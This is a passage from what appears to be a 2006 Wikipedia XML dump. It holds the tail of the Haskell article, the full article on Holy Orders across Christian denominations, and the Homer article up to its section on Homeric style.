*[[O'Haskell]] is an extension of Haskell adding [[object-oriented programming|object-orientation]] and [[concurrent programming]] support.

==References==
*Simon Peyton Jones. [http://research.microsoft.com/~simonpj/papers/haskell-retrospective ''Wearing the hair shirt: a retrospective on Haskell'']. Invited talk at [[POPL]] 2003.
*Jan-Willem Maessen. ''Eager Haskell: Resource-bounded execution yields efficient iteration''. Proceedings of the 2002 [[Association for Computing Machinery|ACM]] SIGPLAN workshop on Haskell.
*Bastiaan Heeren, Daan Leijen, Arjan van IJzendoorn. [http://www.cs.uu.nl/~bastiaan/heeren-helium.pdf ''Helium, for learning Haskell'']. Proceedings of the 2003 ACM SIGPLAN workshop on Haskell.

==External links==
*[http://haskell.org/ HaskellWiki] - The Haskell Home Page
*[http://haskell.org/hawiki/ Old HaWiki] - Old discussions on various Haskell topics
*[http://haskell.org/tutorial/ A Gentle Introduction to Haskell 98] ([http://www.haskell.org/tutorial/haskell-98-tutorial.pdf pdf] format)
*[http://haskell.org/papers/NSWC/jfp.ps Haskell vs. Ada vs. C++ vs. Awk vs. ... An Experiment in Software Prototyping Productivity] 
*[http://www.willamette.edu/~fruehr/haskell/evolution.html The Evolution of a Haskell Programmer] - a slightly humorous overview of different programming styles available in Haskell
*[http://haskell.readscheme.org An Online Bibliography of Haskell Research]
*[http://haskell.org/haskellwiki/Humor Haskell Humor]

{{Major programming languages small}}

[[Category:Haskell dialects|*]]
[[Category:Programming languages]] 
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[[Category:Declarative programming languages]]

[[cs:Haskell]]
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[[ru:Haskell]]
[[sk:Haskell (programovací jazyk)]]
[[sv:Haskell]]
[[tr:Haskell]]
[[zh:Haskell]]</text>
    </revision>
  </page>
  <page>
    <title>Holy Orders</title>
    <id>13631</id>
    <revision>
      <id>42153949</id>
      <timestamp>2006-03-04T04:21:49Z</timestamp>
      <contributor>
        <ip>65.222.238.114</ip>
      </contributor>
      <comment>/* Christianity */</comment>
      <text xml:space="preserve">{{Christianity}}
'''Holy Orders''' in the modern [[Roman Catholic Church]] and in the [[Eastern Orthodoxy|Eastern Orthodox]], [[Oriental Orthodoxy|Oriental Orthodox]], [[Anglicanism|Anglican]], [[Assyrian Church of the East|Assyrian]], [[Old Catholic]], and [[Independent Catholic Churches|Independent Catholic]] Churches, includes three orders: [[bishop]], [[priest]], and [[deacon]]. These Churches regard ordination as a [[sacrament]]. Other [[Protestantism|Protestant]] [[Christian denomination|denominations]] have varied conceptions of the church offices, but none of them considers ordination a sacrament, and some would not consider their [[Religious minister|ministries]] in terms of holy orders at all.

The [[World Council of Churches]] undertook a major consultation amongst its members and with the Roman Catholic Church on ''[http://www.wcc-coe.org/wcc/what/faith/bem1.html Baptism, Eucharist and Ministry]'' (BEM) published in 1982. It attempted to express the convergences that had been found over the years and six volumes of responses compiled. As a result some churches have changed their liturgical practices, and some have entered into discussions which in turn led to further agreements and steps towards unity. There is also a major study on the church ([http://www.wcc-coe.org/wcc/what/faith/nature1.html ecclesiology]) being on the question 'What it means to be a church, or the Church?' It focuses on [[ecclesiology]] and ethics looking at the churches/Church's 'prophetic witness and its service to those in need'. [http://www.wcc-coe.org/wcc/what/faith/eeintro.html]. 

Roman Catholic dogma counts Holy Orders among three [[Catholic sacraments|sacraments]] that make an indelible mark called a [[sacramental character]] on the recipient's soul (the other two are [[baptism]] and [[confirmation (sacrament)|confirmation]]).  Some non-Roman Catholics, perhaps especially Anglicans, also use the term ''episcopal character'' to refer to the status of a bishop.

The Eastern Orthodox Church has two minor orders, those of reader and [[subdeacon]]. Candidates for ordination receive the clerical [[tonsure]] prior to being ordained by the '''laying on of hands''' to these minor orders. There is a distinction between the laying on of hands for minor orders (chirothesis) and that for major orders (chirotony). Those in these lesser orders are not considered clergy in the same sense as those in major orders. 

In former times, the Roman Catholic church also had four [[minor orders]] along with the [[major orders|major order]] of subdeacon, which were conferred on seminarians ''pro forma'' before they became deacons.  The minor orders and the subdiaconate were not considered sacraments, and for simplicity were suppressed under [[Pope Paul VI]] after the [[Second Vatican Council]].

Such titles as ''[[Cardinal (Catholicism)|Cardinal]]'', ''[[Monsignor]]'', ''[[Archbishop]]'', etc., are ''not'' sacramental orders.  These are simply [[office]]s; to receive one of those titles is ''not'' an instance of the sacrament of Holy Orders.

== Definitions ==

The word &quot;holy&quot; simply means &quot;set apart for some purpose.&quot; The word ''ordo'' (order, in [[Latin]]) designated an established civil body or corporation with a hierarchy, and ''ordinatio'' meant legal incorporation into an ''ordo.'' In context, therefore, a Holy Order is simply a group with a hierarchy that is set apart for ministry in the Church.

== Episcopal concept of ordination ==

The [[episcopalian church governance|episcopal]] (from the [[Greek language|Greek]] ''episkopos'', meaning &quot;overseer&quot; and from which we get the word &quot;bishop&quot;) form of church government is followed by the Roman Catholic Church, the Orthodox Churches, and the Anglican Churches and centers around the hierarchy of bishops.

=== Meaning of priesthood ===

The word &quot;priest&quot; either derives ultimately from the Greek ''presbuteros'' meaning &quot;elder&quot;  or the Latin ''praepositus'' meaning &quot;superintendent.&quot; The [[Catholic church]] sees the [[priesthood]] as both a reflection of the ancient [[Temple in Jerusalem|Temple]] priesthood of the [[Jew]]s and the person of [[Jesus]]. The [[liturgy]] of ordination recalls the [[Old Testament]] priesthood and the priesthood of Christ. In the words of [[Thomas Aquinas]], &quot;Christ is the source of all priesthood:  the priest of the old law was a prefiguration of Christ, and the priest of the new law acts in the person of Christ&quot; ''[[Summa Theologiae]]'' [http://www.newadvent.org/Summa/402204.htm III, 22, 4c]. See [[Presbyterorum Ordinis]] for the [[Second Vatican Council]] decree on the nature of the Catholic priesthood.

=== Process and sequence ===

The arrangement given above, &quot;bishops, priests, and deacons&quot; is in the reverse order of ordination. For Roman Catholics, it is typically in the last year of [[seminary]] training that a man will be ordained to the diaconate, called by Roman Catholics in recent times the &quot;[[transitional diaconate]]&quot; to distinguish men bound for priesthood from those who have entered the &quot;[[permanent diaconate]]&quot; and do not intend to seek further ordination. Deacons, whether transitional or permanent, are licensed to preach sermons, (under certain circumstances a permanent deacon may not receive faculties to preach) to perform [[baptism]]s, and to witness [[marriage]]s, but to perform no other sacraments. They may assist at the [[Eucharist]] or the [[mass (liturgy)|Mass]], but are not the ministers of the Eucharist. Orthodox seminarians are typically tonsured as readers before entering seminary, and may later be made subdeacons or deacons; customs vary between seminaries and between Orthodox jurisdictions.

After six months or more as a transitional deacon a man will be ordained to the priesthood. Priests are able to preach, perform baptisms, witness marriages, hear confessions and give absolutions, anoint the sick, and celebrate the [[Eucharist]] or the Mass.

For Anglicans, a person is ordained a [[deacon]] once they have completed their training at a theological college. They then typically serve as a [[curate]] and are ordained as [[priest]] a year later. Deacons must be at least 23 years old, and priests 24. Anglican deacons can preach sermons, perform [[baptism]]s and conduct funerals, but, unlike priests, cannot conduct [[marriage]]s or celebrate the [[Eucharist]]. In most branches of the Anglican church, women can be ordained as priests, and in some, can be ordained a [[bishop]]. Anglican priests have to be at least 30 before they can be chosen to become a bishop.

[[Bishop]]s are chosen from among the priests in churches that adhere to Roman Catholic usage.  Among Eastern Rite Catholic and Eastern Orthodox churches, which permit married priests, bishops must either be unmarried or agree to abstain from contact with their wives. It is a common misconception that all such bishops come from religious orders; while this is generally true, it is not a rule. In the case of both Roman Catholics and Eastern Orthodox, they are usually leaders of territorial units called [[diocese]]s.  Only bishops can validly administer the sacrament of holy orders.  In [[Latin Rite|Latin-rite]] Catholic churches and Anglican churches, only bishops (and priests with authorisation by the bishop) may lawfully administer the sacrament of confirmation, but if an ordinary priest administers that sacrament illegally, it is nonetheless considered valid, so that the person confirmed cannot be confirmed again, by a bishop or otherwise. In [[Eastern Rites|Eastern-rite]] Catholic churches, confirmation is done by parish priests via the rite of chrismation, and is usually administered to both neonates and adults immediately after their baptism.

=== Recognition of other churches' orders ===

Roman Catholics recognize the validity of holy orders administered in the Eastern Orthodox, Oriental Orthodox, Old Catholic, and the Assyrian Church of the East Churches because they believe those churches have maintained the [[apostolic succession]] of bishops, i.e., their bishops claim to be in a line of succession dating back to the [[Apostle]]s, just as Catholic bishops do. Consequently, if a priest of one of those eastern churches converts to Catholicism, he is automatically a Catholic priest.  Eastern Orthodox bishops can, and frequently do, grant recognition to the holy orders of converts who were earlier ordained in the Roman Catholic church (though there is much debate in the Orthodox Church about this); that is part of the policy called [[Economy (Eastern Orthodoxy)|church economy]].

[[Anglicanism|Anglican]] churches, unlike most Protestant churches, maintain the succession, their bishops being successors of English bishops who converted to Protestantism in the 16th century.  A controversy in the Catholic church over the question of whether Anglican holy orders are valid was settled by [[Pope Leo XIII]] in [[1896]], who wrote in ''[[Apostolicae Curae]]'' that Anglican orders lack validity because the rite by which priests were ordained was not correctly performed, thus causing a break of continuity.  [[Eastern Orthodox]] bishops have, on occasion, granted &quot;economy&quot; when Anglican priests convert to Orthodoxy.  Changes in the Anglican [[Ordinal]] since King [[Edward VI of England|Edward VI]], and a fuller appreciation of the pre-[[Reformation]] ordinals suggest that the correctness of the dismissal of Anglican Orders may be questioned; however it remains Catholic teaching. More importantly, since [[1896]] many Anglican bishops have been consecrated by bishops of the [[Old Catholic]] Church whose holy orders were recognised by the [[Holy See]], thus restoring the historic episcopate, if indeed it were in need of restoration. 

Roman Catholics do not recognize the ordination of ministers in [[Protestant]] churches that do not maintain the apostolic succession. 

Anglicans accept the ordination of most mainline denominations; however, only those denominations in full communion with the Anglican Communion such as some [[Lutheran]] denominations, may preside at services requiring a priest.

The Church of Jesus Christ of Latter-day Saints accepts the legal authority of clergy to perform marriages but does not recognize any other sacraments performed by ministers not ordained to the Latter-day Saint priesthood. Although the Latter-day Saints do claim a doctrine of apostolic succession, it is significantly different from that claimed by Roman Catholics and is not recognized by Rome.

=== Marriage and holy orders ===

The rules discussed in this section are not considered to be among the infallible dogmas of the Roman Catholic Church, but are mutable rules of discipline. See [[clerical celibacy]] for a more detailed discussion.

Married men may be ordained to the diaconate as Permanent Deacons, but in the [[Latin Rite]] of the Roman [[Catholicism|Catholic Church]] may not be ordained to the priesthood. In the [[Eastern Rites]] of the Roman Catholic Church and in the [[Eastern Orthodox]] Church married deacons may be ordained priests, but may not become bishops. Bishops in the Eastern Rites and the Eastern Orthodox churches are drawn only from among [[Monasticism|monks]], who have taken a vow of celibacy. They may be widowers, though; it is not required of them to never have been married. 

There are cases of permanent deacons who, left widowed by the death of a wife, have been ordained to the priesthood.  There have been some situations in which men previously married and ordained to the priesthood in an [[Anglicanism|Anglican]] church have been ordained to the Catholic priesthood and allowed to function much as an Eastern Rite priest but in a Latin Rite setting; however, this may only happen with the approval of the priest's Bishop and the Pope.

Anglican clergy may be married and may marry after ordination.

=== Chastity and celibacy ===

There is a difference between '''chastity''' and '''celibacy'''. [[Celibacy]] is the state of not being married, so a [[clerical celibacy|vow of celibacy]] is a promise not to enter into marriage but instead to consecrate one's life to service (in other words, &quot;married to God&quot;).  [[Chastity]], a virtue expected of all Christians, is the state of sexual purity;  for a vowed celibate, or for the single person, chastity means the avoidance of sex.  For the married person, chastity means the practice of sex ''only'' with the spouse, and can carry the expectation of intercourse with the spouse that is open to [[reproduction]].

== Other concepts of ordination ==

Ordination ritual and procedures vary by denomination. Different churches and denominations specify more or less rigorous requirements for entering into office, and while the process of ordination is likewise given more or less ceremonial pomp depending on the group. Many Protestants still communicate authority and ordain to office by having the existing overseers physically lay hands on the candidates for office and [[prayer|pray]] over them.

=== Methodist churches ===

The [[Methodist]] model is loosely based upon the Anglican model and was first devised under the leadership of [[Thomas Coke (Methodist)|Thomas Coke]] and [[Francis Asbury]] in the late 18th century. In this scheme, an [[Elder (religious)|elder]] is ordained to word (preaching and teaching), sacrament (administering baptism and the Lord's Supper), and order (ordaining others), and a [[deacon]] is someone who is ordained to word and service.

In the [[United Methodist Church]], for instance, seminary graduates are interviewed and approved by the Conference Board of Ordained Ministry and then the Clergy Session, at which time they are accepted as &quot;probationary members of the conference&quot; and then commissioned by the resident Bishop to full time ministry.  (At one time, the graduate was ordained as a deacon at this point, a provisional role which has since been done away with; the Diaconal order is now a separate and distinct [[Laity|lay]] office in the United Methodist Church.) After serving the probationary period consisting of a minimum of three years, the probationer is then interviewed again and either continued on probation, discontinued altogether, or approved.  Upon final approval by the Clergy Session of the Conference, the probationer becomes a full member of the Conference and is then ordained as an elder or deacon by the resident Bishop.

=== Presbyterian churches ===

[[Presbyterian]] churches, following their [[Scotland|Scottish]] forebears, reject the traditions surrounding overseers and instead identify the offices of bishop (''episkopos'' in Greek) and elder (''presbuteros'' in Greek, from which the term &quot;presbyterian&quot; comes) because the two terms seem to be used interchangeably in the [[Bible]] (compare [http://www.biblegateway.com/passage/?search=Titus+1.5-9 Titus 1.5-9] and [http://www.biblegateway.com/passage/?search=1Tim+3.2-7 I Tim. 3.2-7]). While there is an increasing authority with each level of gathering of elders ('Kirk Session' over a [[congregation (worship)|congregation]], then [[presbytery]], then possibly a [[synod]], then the [[General Assembly]]), there is no hierarchy of elders, and each elder has an equal vote at the court on which they sit.

Elders are usually chosen at their local level, either elected by the congregation and approved by the Kirk Session, or appointed directly by the Kirk Session. Some churches place limits on the term that the elders serve, while others ordain elders for life.

Presbyterians also ordain (by laying on of hands) ministers of Word and Sacrament (sometimes known as 'teaching elders'). These ministers are regared simply as Presbyters ordained to a different function, but in practice provide the leadership for local Kirk Session. 

Some presbyterians identify those appointed (by the laying on of hands) to serve in practical ways ([http://www.biblegateway.com/passage/?search=acts+6.1-7 Acts 6.1-7]) as deacons (''diakonos'' in Greek, meaning &quot;servant&quot;). In many congregations, a group of men or women is thus set aside to deal with matters such as congregational fabric and finance, releasing elders for more 'spiritual' work. These persons may be known as 'deacons', 'board members' or 'managers', depending on the local tradition. Unlike elders and minister, they are not usually 'ordained', and are often elected by the congregation for a set period of time. 

Other presbyterians have used an 'order of deacons' as full-time servants of the wider Church - but who, unlke ministers, do not administer sacraments or routinely preach. The [[Church of Scotland]] has recently begun ordaining deacons to this role.   

Unlike the episcopalian schemes, but similar to the United Methodist scheme described above, the two presbyterian offices are different in ''kind'' rather than in ''degree'' since one need not be a deacon before becoming an elder. Since there is no hierarchy, the two offices do not make up an &quot;order&quot; in the technical sense, but the terminology of Holy Orders is sometimes still used.

=== Congregationalist churches ===

[[Congregationalist church governance|Congregationalist]] churches implement different schemes, but the officers usually have less authority than in the presbyterian or episcopalian forms. Some ordain only ministers and rotate members on an advisory board (sometimes called a board of elders or a board of deacons). Because the positions are by comparison less powerful, there is usually less rigor or fanfare in how officers are ordained.

=== The Church of Jesus Christ of Latter-day Saints ===

The Church of Jesus Christ of Latter-day Saints has a relatively open priesthood, ordaining nearly all adult males and boys of the age of twelve and older. Latter-day Saint priesthood consists of two orders: the Melchizedek and Aaronic. The offices, or ranks, of the Melchizedek order (in roughly descending order) include apostle, seventy, patriarch, high priest, and elder. The offices of the Aaronic order are bishop, priest, teacher, and deacon. The manner of ordination consists of the laying on of hands by one or more men holding at least the office being conferred while one acts as voice in conferring the priesthood and/or office and usually pronounces a blessing upon the recipient. Teachers and deacons do not have the authority to ordain others to the priesthood. All church members are authorized to teach and preach regardless of priesthood ordination so long as they maintain good standing within the church. The church does not use the term &quot;holy orders.&quot;

=== Non-traditional organizations ===

The non-authoritarian religious denominations, such as [[Spiritual Humanism]] and the [[Universal Life Church]], prefer to empower their clergy by minimizing the impediments to those that feel the calling to make a spiritual connection to the cosmos. Reducing the barriers to performing religious ceremonies these denominations encourage those who within the general population to  realize spiritual experience. By enabling friends or relatives to perform ceremonies like marriages, organizations that offer online ordination demystify and integrate religious understanding into lives of the otherwise nonreligious public.

== Ordination of women ==

:''Main article: [[Ordination of women]]''

Many,  but not all, denominations in Christendom allow the ordination of women.  Notable denominations who ordain women in the USA include [[Episcopal Church in the United States of America|Episcopalians]], [[Presbyterian Church USA|Presbyterians (PCUSA)]], [[Evangelical Lutheran Church in America|Lutherans (ELCA)]], the [[United Church of Christ]], the [[Christian Church (Disciples of Christ)]], and the [[United Methodist Church]] although there are others.  Many of the same denominations ordain women throughout the world.  For example, the majority of the [[Anglican Communion]], in theory allows for the ordination of women.

In the listed denominations, ordination to [[priest]]/[[minister of religion|minister]], [[bishop]], [[elder (religious)|elder]], or [[deacon]] is allowed.

In other denominations, women can be ordained to be an [[elder]] or [[deacon]].  Some denominations allow for the ordination of women for certain religious orders.

Many denominations have divided or united around the issue of ordination of women.

== Ordination of homosexuals ==

=== Judaism ===
The ordination of [[homosexuality|homosexuals]] as [[Rabbi|Rabbis]] is an issue being dealt with in nearly all sects of [[Judaism]].  Often this issue is dealt with by [[Conservative Judaism]] and [[Reform Judaism]], although not exclusively.  The most noted openly homosexual rabbi is Rabbi [[Steven Greenberg, Rabbi|Steven Greenberg]].  [http://www.tremblingbeforeg-d.com/ Trembling Before G-D] is a [[Documentary film|documentary]] dealing with homosexuality and [[Orthodox Judaism]].

=== Christianity ===
The [[Metropolitan Community Church|Universal Fellowship of Metropolitan Community Churches]] is the only [[United States of America|American]] denomination with an '''official''' stance allowing [[homosexuality|homosexuals]] to be ordained. The [[United Church of Christ]], because of its decentralized model, allows ordination out of default since there are no official denomination-wide stances on [[doctrine]]. Other denominations such as [[Episcopal Church in the United States of America|The Episcopal Church]] have openly ordained homosexuals despite official policies to the contrary, and have since apologised to the Anglican Communion, and no longer ordain gays.  Some denominations allow for these ordained to be in union with their partners.  Other denominations require a vow of [[celibacy]].  Most of the mainline protestant denominations are openly discussing the issue such as the [[Presbyterian Church USA]], the [[Evangelical Lutheran Church in America|Evangelical Lutheran Church (ELCA)]] and the [[Uniting Church in Australia]].

Recently the ordination of [[Gene Robinson]] to the order of [[bishop]] in the [[Episcopal Diocese of New Hampshire]], and the near ordination of [[Jeffrey John]] (was to be ordained Bishop of Reading) in the [[Church of England]] have caused a stir in the [[Anglican Communion]], as the majority of world-wide Anglican provinces approve of such actions.

The ordination of homosexuals is not a new thing, but the open ordination has come to light.  Often those who were homosexual did not admit their sexuality, and were ordained.  Upon the ordination of Gene Robinson, Episcopal Bishop [[J. Neil Alexander]] of the [[Episcopal Diocese of Atlanta|Diocese of Atlanta]] said he voted for the ordination because Gene was open about his sexuality and honest, whereas in the past known gay clergy were ordained to the episcopate only because they lied about it.

In many churches this is a very volatile issue, as is the ordination of women in many churches.  It is not likely that a resolution will be swift. Within mainline churches the [[Confessing Movement]] has been a vehicle for the opposition to the ordination of homosexuals.

=== Humanist ===
Humanist and other rationalist religious organizations recognize and affirm the right of celebrants who are consenting adults to enter into relationships with other consenting adults regardless of their sexual orientation or gender.

==Print resources==
*Campbell, Dennis. ''Yoke of Obedience'', 1988. ISBN 0687466601
*[[Thomas Oden|Oden, Thomas]]. ''Pastoral Theology: Essentials of Ministry'', 1983. ISBN 0060663537
*[[William Willimon|Willimon, William]]. ''Calling &amp; Character: Virtues of the Ordained Life'', 2000. ISBN 0687090334
*[[William Willimon|Willimon, William]]. ''Pastor: The Theology and Practice of Ordained Ministry'', 2002. ISBN 0687045320

== See also ==
* [[Clergy]]
* [[Homosexuality in the Roman Catholic priesthood]]
* [[Ordination of women]]

== External links ==
* [http://www.americancatholic.org/Features/Sacraments/HolyOrders.asp Priesthood - Catholic Sacrament of Holy Orders - Ordination]
* [http://www.gbhem.org/ResourceLibrary/stepord.pdf The Steps to Orders in The United Methodist Church] (PDF)


[[Category:Roman Catholic Church offices]]
[[Category:Seven sacraments]]
[[Category:Christian leaders]]
[[Category:Christianity]]
[[Category:Sacraments]]
[[Category:Christian theology]]

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      <text xml:space="preserve">[[Image:Homer_British_Museum.jpg|thumb|right|Bust of Homer in the [[British Museum]]]]

:''For other uses, see [[Homer (disambiguation)]].''

'''Homer''' ([[Greek language|Greek]] {{polytonic|&amp;#8013;}}&amp;#x03bc;&amp;#x03b7;&amp;#x03c1;&amp;#x03bf;&amp;#x03c2; ''H&amp;#x00f3;m&amp;#x0113;ros'') was a legendary early [[Greek literature|Greek]] [[poet]] and [[rhapsode]] traditionally credited with the composition of the ''[[Iliad]]'' ({{polytonic|Ἰλιάς}}) and the ''[[Odyssey]]'' ({{polytonic|Ὀδύσσεια}}). Homer was even at one time credited with the entire [[Epic Cycle]], which included further poems on the [[Trojan War]] as well as the [[Thebes, Greece|Theban]] poems about [[Oedipus]] and his sons. Other works, such as the corpus of [[Homeric Hymns]], the comic mini-epic ''[[Batrachomyomachia]]'' (&quot;The Frog-Mouse War,&quot; Βατραχομυομαχία), and the [[Margites]] were also attributed to him, but this is now believed to be unlikely. 

Tradition held that Homer was [[blindness|blind]], and various [[Ionia]]n cities are claimed to be his birthplace, but otherwise his biography is a blank slate. There is considerable scholarly debate about whether Homer was actually a real person, or the name given to one or more oral poets who sang traditional epic material.
It has repeatedly been questioned whether the same poet was responsible for both the ''Iliad'' and the ''Odyssey''. The ''Batrachomyomachia'', Homeric hymns, and cyclic epics are generally agreed to be later than the ''Iliad'' and the ''Odyssey''.
[[Image:William-Adolphe Bouguereau (1825-1905) - Homer and his Guide (1874).jpg|thumb|right|Homer and His Guide, by William-Adolphe Bouguereau (1825-1905)]]

==The Homeric Question== 
{{main|Homeric Question}}
[[Image:Homere.jpg|right|200px|thumb|This marble bust of Homer is in the [[Louvre]].]]
Scholars generally agree that the ''Iliad'' and ''Odyssey'' underwent a process of standardization and refinement out of older material beginning in the [[8th century BC]]. An important role in this standardization appears to have been played by the [[Athens|Athenian]] [[tyrant]] [[Hipparchus (son of Pisistratus)|Hipparchus]], who reformed the recitation of Homeric poetry at the [[Panathenaea|Panathenaic festival]]. Many [[classicist]]s hold that this reform must have involved the production of a [[canon (fiction)|canon]]ical written text.

Other scholars, however, maintain their belief in the reality of an actual Homer. So little is known or even guessed of his actual life, that a common joke has it that the poems &quot;were not written by Homer, but by another man of the same name,&quot; and the classical scholar [[Richmond Lattimore]], author of well regarded poetic translations to [[English language|English]] of both epics, once wrote a paper entitled &quot;Homer: Who Was She?&quot; [[Samuel Butler (1835-1902)|Samuel Butler]] was more specific, theorizing a young Sicilian woman as author of the ''Odyssey'' (but not the ''Iliad''), an idea further speculated on by [[Robert Graves]] in his novel ''[[Homer's Daughter]]''.

In Greek his name is ''Hom&amp;#275;ros'', which is Greek for &quot;hostage&quot;. There is a theory that his name was back-extracted from the name of a society of poets called the [[Homeridae]], which literally means &quot;sons of hostages&quot;, i.e., descendants of prisoners of war. As these men were not sent to war because their loyalty on the battlefield was suspect, they would not get killed in battles. Thus they were entrusted with remembering the area's stock of epic poetry, to remember past events, in the times before literacy came to the area.

Most Classicists would agree that, whether there was ever such a composer as &quot;Homer&quot; or not, the Homeric poems are the product of an oral tradition, a generations-old technique that was the collective inheritance of many singer-poets (''aoidoi''). An analysis of the structure and vocabulary of the ''Iliad'' and ''Odyssey'' shows that the poems consist of regular, repeating phrases; even entire verses repeat. Could the ''Iliad'' and ''Odyssey'' have been '''oral-formulaic''' poems, composed on the spot by the poet using a collection of memorized traditional verses and phases? [[Milman Parry]] and [[Albert Lord]] pointed out that such elaborate oral tradition, foreign to today's literate cultures, is typical of [[epic poetry]] in an exclusively oral culture. The crucial words are &quot;oral&quot; and &quot;traditional.&quot; Parry started with &quot;traditional.&quot; The repetitive chunks of language, he said, were inherited by the singer-poet from his predecessors, and they were useful to the poet in composition. He called these chunks of repetitive language &quot;formulas.&quot;  

Exactly when these poems would have taken on a fixed written form is subject to debate. The traditional solution is the &quot;transcription hypothesis&quot;, wherein a non-literate &quot;Homer&quot; dictates his poem to a literate scribe in the [[6th century BC]] or earlier. More radical Homerists, such as [[Gregory Nagy]], contend that a canonical text of the Homeric poems as &quot;scripture&quot; did not exist until the [[Hellenistic]] period ([[3rd century BC|3rd]] to [[1st century BC]]).

==Ancient Accounts of Homer==

Of the date of Homer probably no record, real or pretended, ever existed. [[Herodotus]] (2.53) maintains that [[Hesiod]] and Homer lived not more than 400 years before his own time, consequently not much before [[850 BC]]. From the controversial tone in which he expresses himself it is evident that others had made Homer more ancient; and accordingly the dates given by later authorities, though very various, generally fall within the 10th and 11th centuries BC, but none of these statements has any claim to the character of external evidence.

The extant lives of Homer (edited in Westermann's ''Vitarum Scriptores Graeci minores'') are eight in number, including the piece called the ''[[Contest of Hesiod and Homer]]''. The longest is written in the [[Ionic]] dialect, and bears the name of Herodotus, but is certainly spurious. In all probability it belongs to the time which was fruitful beyond all others in literary forgeries, viz, the [[2nd century]] of our era. The other lives are certainly not more ancient. Their chief value consists in the curious short poems or fragments of verse which they have preserved, the so-called ''Epigrams'', which used to be printed at the end of editions of Homer. These are easily recognized as Popular Rhymes, a form of folklore to be met with in most countries, treasured by the people as a kind of proverbs. In the Homeric epigrams the interest turns sometimes on the characteristics of particular localities [[Smyrna]] and [[Cyme]] (Epigr. 4), [[Erythrae]] (Epigr. 6, 7), [[Mt Ida]] (Epigr. 10), [[Neon Teichos]] (Epigr. 1); others relate to certain trades or occupations: potters (Epigr. 14), sailors, fishermen, goat herds, etc. Some may be fragments of longer poems, but evidently they are not the work of any one poet. The fact that they were all ascribed to Homer merely means that they belong to a period in the history of the Ionian and Aeolian colonies when Homer was a name which drew to itself all ancient and popular verse.

Again, comparing the epigrams with the legends and anecdotes told in the Lives of Homer, we can hardly doubt that they were the chief source from which these Lives were derived. Thus in Epigr. 4 we find a blind poet, a native of Aeolian [[Smyrna]], through which flows the water of the sacred [[Meles]]. Here is doubtless the source of the chief incident of the Herodotean Life, the birth of Homer Son of the Meles. The epithet ''Aeolian'' implies high antiquity, inasmuch as according to Herodotus Smyrna became Ionian about [[688 BC]]. Naturally the Ionians had their own version of the story, a version which made Homer come out with the first Athenian colonists.

The same line of argument may be extended to the [[Homeric Hymns|Hymns]], and even to some of the lost works of the post-Homeric or so-called [[Epic Cycle|Cyclic poets]]. Thus:

1. The hymn to the Delian [[Apollo]] ends with an address of the poet to his audience. When any stranger comes and asks who is the sweetest singer, they are to answer with one voice, &quot;the blind man that dwells in rocky [[Chios]]; his songs deserve the prize for all time to come.&quot; [[Thucydides]], who quotes this passage to show the ancient character of the Delian festival, seems to have no doubt of the Homeric authorship of the hymn. Hence we may most naturally account for the belief that Homer was a Chian.

2. The ''Margites'', a humorous poem which kept its ground as the reputed work of Homer down to the time of [[Aristotle]] began with the words, &quot;There came to Colophon an old man, a divine singer, servant of the Muses and Apollo.&quot; Hence doubtless the claim of [[Colophon]] to be the native city of Homer a claim supported in the early times of Homeric learning by the Colophonian poet and grammarian [[Antimachus]].

3. The poem called the ''[[Cypria]]'' was said to have been given by Homer to [[Stasinus of Cyprus]] as a daughter's dowry. The connexion with [[Cyprus]] appears further in the predominance given in the poem to [[Aphrodite]].

4. The ''[[Little Iliad]]'' and the ''[[Phocais]]'', according to the Herodotean life, were composed by Homer when he lived at [[Phocaea]] with a certain Thestorides, who carried them off to Chios and thert gained fame by reciting them as his own. The name Thestorides occurs in Epigr. 5.

5. A similar story was told about the poem called the ''Taking of Oechalia'', the subject of which was one of the exploits of [[Heracles]]. It passed under the name of [[Creophylus]], a friend or (as some said) a son-in-law of Homer; but it was generally believed to have been in fact the work of the poet himself.

6. Finally the ''[[Thebaid]]'' always counted as the work of Homer. As to the ''[[Epigoni]]'', which carried on the Theban story, some doubt seems to have been felt.

These indications render it probable that the stories connecting Homer with different cities and islands grew up after his poems had become known and famous, especially in the new and flourishing colonies of Aeolis and Ionia. The contention for Homer, in short, began at a time when his real history was lost, and he had become a sort of mythical figure, an eponymous hero, or personification of a great school of poetry.

An interesting confirmation of this view from the negative side is furnished by the city which ranked as chief among the Asiatic colonies of Greece, viz. [[Miletus]]. No legend claims for Miletus even a visit from Homer, or a share in the authorship of any Homeric poem. Yet [[Arctinus of Miletus]] was said to have been a disciple of Homer, and was certainly one of the earliest and most considerable of the Cyclic poets. His ''Aethiopis'' was composed as a sequel to the Iliad; and the structure and general character of his poems show that he took the Iliad as his model. Yet in his case we find no trace of the disputed authorship which is so common with other Cyclic poems. How has this come about? Why have the works of Arctinus escaped the attraction which drew to the name of Homer such epics as the Cypria, the Little Iliad, the Thebaid, the Epigoni, the Taking of Oechalia and the Phocais. The most obvious account of the matter is that Arctinus was never so far forgotten that his poems became the subject of dispute. We seem through him to obtain a glimpse of an early post-Homeric age in Ionia, when the immediate disciples and successors of Homer were distinct figures in a trustworthy tradition when they had not yet merged their individuality in the legendary Homer of the Epic Cycle.

==Homeric studies==
{{main|Homeric scholarship}}

The study of Homer is one of the very oldest topics in all scholarship or science, and goes back to antiquity. Purely in terms of quantity it is one of the largest of all literary sub-disciplines: the annual publication output rivals that on [[Shakespeare]]. The aims and achievements of Homeric studies have changed over the course of the millennia; in the last few centuries they have revolved around the process by which the Homeric poems came into existence and were transmitted down to us, first orally, and later in writing.

Some of the main trends in modern Homeric scholarship have been, in the 19th and early 20th centuries, ''Analysis'' and ''Unitarianism'' (see [[Homeric question]]), which were schools of thought that emphasised on the one hand the inconsistencies, on the other the artistic unity, in Homer; and in the 20th century and later ''Oral Theory'', which is the study of the mechanisms and effects of oral transmission, and ''Neoanalysis'', which is the study of the relationship between Homer and other early epic material.

==Homeric dialect==
{{main|Homeric Greek}}

==Homeric style==
The cardinal qualities of the style of Homer have been pointed out once for all by [[Matthew Arnold]]. The translator of Homer, he says, should above all be penetrated by a sense of four qualities of his author: that he is eminently rapid; that he is eminently plain and direct, both in the evolution of his thought and in the expression of it, that is, both in his syntax and in his words; that he is eminently plain and direct in the substance of his thought, that is, in his matter and ideas; and, finally, that he is eminently noble (''On Translating Homer'', p. 9).

